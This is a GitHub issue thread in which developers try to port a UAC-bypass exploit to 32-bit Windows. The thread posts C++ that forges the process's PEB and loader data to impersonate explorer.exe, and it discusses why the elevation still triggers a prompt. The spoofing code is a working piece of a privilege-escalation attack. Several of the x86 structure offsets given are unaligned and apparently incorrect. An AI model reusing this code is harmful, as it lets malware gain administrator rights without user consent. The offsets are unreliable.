Not compatible with x86
Opened this issue · 9 comments
From the readme
Just note that this hasn’t been tested or designed with x86 in mind at all, and it probably won’t work on x86 anyways
You could make it work on x86 possibly by determining the struct offset that points to the PEB from the TEB by dumping the _PEB
structure in WinDbg or something similar. I'd use the 2021 version for better results and source, but it may have the same x86 restrictions.
Does this make sense?
constexpr auto PEB_OFFSET = 0x60ULL;
constexpr auto PEB_OFFSET_32 = 0x30; // 32-bit process
constexpr auto PROCESS_PARAM_OFFSET = 0x20ULL;
constexpr auto PROCESS_PARAM_OFFSET_32 = 0x10ULL; // 32-bit process
void ForgeProcessInformation(PCWCHAR explorerPath, const RtlInitUnicodeStringPtr RtlInitUnicodeString,
const LdrEnumerateLoadedModulesPtr LdrEnumerateLoadedModules)
{
PBYTE pPeb = nullptr;
PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
#ifndef _x64
pPeb = *reinterpret_cast<PBYTE*>(reinterpret_cast<PBYTE>(NtCurrentTeb()) + PEB_OFFSET_32);
pProcessParams = *reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS*>(pPeb + PROCESS_PARAM_OFFSET_32);
#else
pPeb = *reinterpret_cast<PBYTE*>(reinterpret_cast<PBYTE>(NtCurrentTeb()) + PEB_OFFSET);
pProcessParams = *reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS*>(pPeb + PROCESS_PARAM_OFFSET);
#endif
RtlInitUnicodeString(&pProcessParams->ImagePathName, explorerPath);
RtlInitUnicodeString(&pProcessParams->CommandLine, L"explorer.exe");
LDR_CALLBACK_PARAMS params{ explorerPath, GetModuleHandleW(nullptr), RtlInitUnicodeString };
LdrEnumerateLoadedModules(0, [](PVOID ldrEntry, PVOID context, PBOOLEAN stop)
{
auto* params = static_cast<LDR_CALLBACK_PARAMS*>(context);
if (*reinterpret_cast<PULONG_PTR>(reinterpret_cast<ULONG_PTR>(ldrEntry) + DLL_BASE_OFFSET) == reinterpret_cast<
ULONG_PTR>(params->ImageBase))
{
const auto baseName = reinterpret_cast<PUNICODE_STRING>(static_cast<PBYTE>(ldrEntry) + BASENAME_OFFSET),
fullName = reinterpret_cast<PUNICODE_STRING>(static_cast<PBYTE>(ldrEntry) + FULLNAME_OFFSET);
params->RtlInitUnicodeString(baseName, L"explorer.exe");
params->RtlInitUnicodeString(fullName, params->ExplorerPath);
*stop = TRUE;
}
}, reinterpret_cast<PVOID>(¶ms));
}
Those two offsets seem ok, but the lambda in LdrEnumerateLoadedModules
may raise an access violation because DLL_BASE_OFFSET
is for x64, maybe that should be fixed up too.
I changed that as well
#ifdef _WIN64
constexpr auto PEB_OFFSET = 0x60ULL;
constexpr auto PROCESS_PARAM_OFFSET = 0x20ULL;
constexpr auto BASENAME_OFFSET = 0x58ULL;
constexpr auto FULLNAME_OFFSET = 0x48ULL;
constexpr auto DLL_BASE_OFFSET = 0x30ULL;
#else
constexpr auto PEB_OFFSET = 0x30ULL;
constexpr auto PROCESS_PARAM_OFFSET = 0x10ULL;
constexpr auto BASENAME_OFFSET = 0x29ULL;
constexpr auto FULLNAME_OFFSET = 0x24ULL;
constexpr auto DLL_BASE_OFFSET = 0x15ULL;
#endif
The data structure seems to be OK but when running the x86 version, there is a UAC prompt displayed. Any idea how to fix it?
What is the UAC prompt for? If it is for IFileOperation
(File Operation) then that means that ForgeProcessInformation
isn't able to spoof the PEB + loader data and the appinfo
service is determining that the calling process isn't explorer.exe
.
If that's the case then it seems that appinfo will not allow the process to be explorer.exe, maybe because it is expecting x64 and the caller is x86 (are you on 32bit windows)? Also the second picture is https://github.com/AzAgarampur/byeintegrity2-uac not this repo, correct? If so then its possible that IeAxiAdminInstaller
has changed internal structure/parameter parsing on x86. You can try doing SysAllocString
to make a random name for the installer and pass that as the first argument of the function to see if it stops the A/V.
That is correct but also this repo does not support x86
That is correct, it could be also true that certain interfaces do not internally implement marshaling data between the two